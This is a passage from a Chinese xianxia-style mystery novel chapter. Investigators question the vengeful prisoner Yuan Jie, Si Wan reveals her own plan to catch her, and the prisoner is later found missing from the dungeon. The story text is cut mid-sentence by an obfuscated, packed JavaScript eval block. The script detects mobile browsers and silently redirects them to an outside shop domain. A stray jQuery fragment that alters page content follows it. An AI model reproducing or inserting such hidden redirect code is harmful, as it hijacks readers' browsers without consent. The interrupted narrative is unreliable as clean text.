司婉猛地一拍大腿,一副恨铁不成钢、有苦说不出的模样。元姐倒没什么过激举动,只语气嘲讽地道:“你们还是那样,查案全靠猜吗?我说不是,听见了就快滚!问问问、问个没完,你们才是真凶吧。”
余容看着她,平静地道:“不是靠猜,有理由的。”
“你在看的那本书,一直都拿反了,你的心思根本就没放在上面,”众人都去看那本歪在床头的书,余容继续道,“方才你坐在门边时,双手握拳,眼神回避,呼吸速度偏快,而且,你几乎没有说过自己的想法,不是说司阁主如何劝你,便是司阁主替你作答。”
元姐的面色僵硬起来,余容道:“包括现在,身体紧绷、气血上涌、呼吸急促、手指轻微颤抖。这种难以控制的身体表现,我一般会倾向于你在紧张,甚至,心虚。”
人在说谎时总会露出一些马脚,当然,明不明显因人而异。但元姐毕竟是个埋头苦读十六年、鲜少与人打交道的内向女子,其实并不擅长掩饰自己的情绪和心思。
司婉忙要开口,余容客气地道:“司阁主,请让她自己来说。”
从方才见面开始,这位北斗阁阁主便好像一直在刻意引导他们,她似乎把所有事情尽数掌握、见势不对立刻插嘴解围,很难说是不是提前和囚犯串通好了什么。
司婉捂着头蹲墙角去了,这下,三个人都目光沉沉地同狱中人对视。元姐怒道:“因为我在生气!我明明已经改好了,你们竟然还给我泼脏水,你们就是在逼我犯罪!”
看来她是打算一倔到底了。余容道:“我们能从雷山妖界带回来的所有线索,你全部提前招供,就连和白央是师徒这种事也没落下,我觉得你不像是那种会拉关系套近乎的人,而是想表现出十分的‘坦诚’,让我们挑不出错误,放松警惕。”
元姐一僵,道:“我……我说我会机关术,就顺嘴说了跟谁学的,不行吗?”
余容点头道:“可以,只是你有时供出她,有时又护着她,十分奇怪。还有,今夜你见到我们后的第一句话是:你觉得我们从雷山妖界回来之后一定会带着充分的线索,所以才主动自首。可是,既然知道我们会从妖界得到线索,置你于险境,为何还要引我们过去?”
说到这,他忍不住露出困惑的神色,“我还是想不通,如果你想逃走,或是想尽快报仇,难道不该骗我们去一个找不到线索的地方,从而转移注意、拖延时间吗?现在你的动机和手段我们全部知悉,你自投罗网,根本无路可走了啊。”
羲道:“的确,你的每条路都堵死了,别人不仅不会理解你,还会时时刻刻警惕你。龚老太太会被北斗阁保护得很好,如今,无论你是真心悔过还是另有所图,都只能眼睁睁看着仇人安享晚年。”
地牢里安静了。
轻烟般的灵力浮动在钢铁栏门上,冰冷的金属泛着流水般的光泽,元姐坐在门内,神情隐在杂乱的黑发中。
蓦地,那紧绷的肩头骤然一松,元姐走到饭桌边,端起澄清的汤水一饮而尽。
她抬袖擦擦嘴,再抬头,已然挂上一丝危险又畅快的笑:“谁说无路可走了?”
此言一出,牢狱外的羲和余容皆是一愣,也皆是明白了。
这头假寐的狼,终于还是忍耐不住,呲出獠牙了。
余容忙问:“你还要害龚老太太?可她不是与你莫家一案没有关系吗?背后若有隐情,请你说出来,我们会——”
“会什么?”元姐抢问,“会帮我杀她?还是会劝我看开点?我不会放过她的,她马上就要死了!”
墙边的司婉啪地站直,喝道:“我警告你!天网恢恢,疏而不漏,迷途知返,回头是岸!”
元姐冷冷道:“闭嘴,凉球。听你放了一天的屁,恶心死了。”
被上一刻还跟自己把酒言欢的“小绵羊”咬了,司婉气得倒吸一口凉气,抱臂笑道:“行啊,来,你说说,你的‘路’在哪?老娘要是没把你的路全都堵上,立马跪下来叫你奶奶!”
元姐道:“不稀罕这样的孙女。”
该说不说,这位露出真面目后,攻击力实在强得可怕。司婉差点气晕过去,掐着人中把自己稳住了,道:“你进来之前被搜过身,就算藏着什么,这地牢的屏障也都拦得死死的。龚家祖宅我更是从里到外翻了个底朝天,所有的可疑木头都烧了个干净!你有本事倒是说出来,还能留什么后手?”
元姐闷着头,低低笑了片刻,道:“别忘了我还有什么。家中的粮食,我只留够一日,剩下的,撒到从我家到龚家的路上,你猜,饿到眼都红了的一群狗,会不会……”
她笑得阴森,眼眶红得似在滴血,仿佛已经看见饿狗蚕食仇人的血腥而又痛快的场面。
如此神态,不免令众人后背发寒,羲不由得想起偶尔出现在案发现场的猫咪,也许,它们也是她作案手法中的一环,至少做眼线绰绰有余。
元姐危险地笑了一会,其他四人却都没什么反应,甚至连惊吓和指责也没有。她笑不出来了,眼神中流出几丝狠厉,又隐隐掺着一丝不解:“还不快去救人?死老太婆要被啃得骨头都不剩了!”
司婉露出一个“就这”的表情,笑眯眯道:“行了,别装了,你不忍心的,小、丫、头。”
“放屁!我才不会心软——”
“我说的是,你不忍心饿着你家的狗,”司婉打了个哈欠,“都宝贝成啥样了?我今天还让开阳去看了一眼,他说个个吃得肚皮溜圆,哎你是不是骗我了?你留的粮食绝对够五天吧!”
“……”
在元姐从狠厉变得呆滞、再由不甘化作愤怒的眼神中,司婉端出一副胜利者的姿态,拽着羲三人离开地牢。
但甫一来到地面,她便立刻换了副神情,着急忙慌地拿出通讯法器联系开阳,让他别睡了赶紧去看看龚老太太。
对此,羲表示:“住得离工作地点太近就是会有这种烦恼啊,我看开阳不久就要搬家了吧。”
“不他不会的,”司婉阴险地道,“为了买地、建房、装修,他预支了未来十年的奖金,他就算是哪天累死了,也得变成鬼来给我推磨。”
余容啊了一声,深表同情:“不愧是他。可你明知元姐不会那样做,何必再让他辛苦这一趟呢?”
司婉意味深长地看了他一眼,摇头不语,带三人来到前厅,瘫在舒适的坐榻上。
等羲走近,她又突然意识到什么,把办公书案上的几本书塞到屁股底下,偷偷朝羲睨来,两人眼神正好撞上。
羲已然明白她在藏什么,懒得管了,司婉便松了口气,挠头笑道:“是这样的,我一直觉得元姐这个人有点疯,虽然尽力做到万无一失,但机关师的手段我见得少,保险起见,还是得辛苦开阳多干点了。”
她办起事来倒称得上面面俱到,余容抱歉地道:“我是不是给你添乱了?对不起啊,方才还怀疑了你。”
司婉无所谓地摆摆手:“没事!我知道,我刚刚可能表现得太松懈、太偏向她了,对吧?因为我早看出来她在演戏,眼神骗不了人,她恐怕不会善罢甘休,所以我就干脆将计就计。当然了,如果她真能听进去我的话,放过别人也放过自己,当然是更好的结果。”
琴古倚在门边,问:“你原本的计划是什么?”
司婉道:“等到三日刑期结束,假装撤去所有防备,让她掉以轻心,再暗中跟踪她,趁她动手时当场抓获。”
原来她竟也有自己的筹谋,此计不可谓不高明。如此一来,方才她那些似乎有点怪异的言行举止倒也能说通了,还真是很努力地在哄骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949384|214136||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着那位高危慊犯啊。
余容一拍额头:“抱歉!是我太冲动了,只想着问出真相,到头来,不仅打乱了你的计划,困惑也没解开多少。”
司婉摇头道:“不用道歉,这样也好。我们都看到了,无论怎么劝解,她都不肯改变心意,那就不能再用这种怀柔手段,要换狠招。”
“可是……”见她面色严肃,甚至有几分厉色,余容道,“她毕竟是为了复仇啊,冤有头债有主,她不像是那种不讲道理的人。还有,你说看在白央大人的面子上也要留一线的?”
司婉道:“话术,都是话术呀。处在我这个职位上的人,如果都对这个留一线,对那个放一马,那三界早就乱套了。我们办事是不能讲太多情分的,冤冤相报何时了?放任这天下人都去以牙还牙、发泄复仇之火,恐怕所有生灵都要灭绝啊。”
羲靠坐在桌边,若有所思,余容坐立难安,一头束得整齐漂亮的长发都被甩乱了,琴古倒是没什么表情,只抬头看着月亮。没多久,开阳传来回信,道龚老太家一切安好。
司婉松了口气,半瘫在坐榻上,没多久便眼皮打架打起了盹。余容坐到羲身旁,低垂着眉眼,看起来心事重重。
好半晌,他低声道:“我不知道怎么做才是对的。元姐想为惨死的家人报仇,好像没有错,可龚老太太毕竟是一条性命,一条名字从没出现在犯罪卷宗上的性命……要帮元姐实现夙愿,就要害人;要救龚老太太,就要将元姐送入牢狱。想劝元姐放下仇恨,但凭什么呢?好像,无论怎么做都是错的。”
他半抬眼帘,长睫轻轻颤动,衬得那双浅色眸子清透又迷惘,似在寻求一个答案,好散去其中的哀愁。
羲同他对视片刻,缓缓低下头,道:“这种时候,什么都不做就不会错吧。”
余容很认真地问:“真的吗?”
羲想了想,道:“假的。”
又道,“我也不知道,只是习惯逃避了。”
身旁人沉默了一会,轻轻地问:“你之前,遇到过很多类似的难题吗?”
羲微微睁大双眼,余容道,“我现在,有点难过。所以,对不起啊,让你想起很多难过的事了吧。”
“……”
羲看向他,扬起唇角,摇了摇头:“但我觉得,如果你有想做的事,那就去做吧,无论对错,至少不会遗憾。”
余容眼神中的那团雾气一点点化去了,他也笑了,道:“谢谢你。”
羲道:“司婉这边,我帮你稳住,放手去做就好。”
她掏出笔,画了一张“安睡符”,啪地一下甩到司婉白净的脑门上。这位困倦多时的北斗阁主似乎有一瞬的挣扎,但抵不过符咒威力太强,迅速沉沉睡去。
余容用力点点头,悄声走到司婉身旁,一眨眼的功夫便将她腰间那串钥匙取下来,旋即翻身出窗,赶往后院地牢的方向。
这边,司婉或许是睡得很香做起了美梦,嘴里开始嘶哈着“美人、美人”,还翻了个身,屁股下面拱出几本书啪嗒掉在地上,露出虽为黑白但其实五颜六色的插图。
羲:“……”
她尴尬地清清嗓子,把那些书一一合上,塞到桌角下。
做完这些,她百无聊赖地靠在窗边,想休息一会,却没有睡意。正犹豫着要不要把那几本书抽出来,探究一下它们究竟有多大魅力引得司婉那般着迷,余容却从窗外闪身而入。
他手里还拿着那串钥匙,极力压抑声音中的震惊:“地牢的五道屏障全被暴力摧毁了!元姐、元姐她不见了!”
两人对视一眼,扭头看看他们所在的办事厅,除了司婉,哪里还剩别人?心中都暗道一声不好。
方才聊得太投入,那位“成纪公子”,已经趁着他们无知无觉时,先一步掳人走了!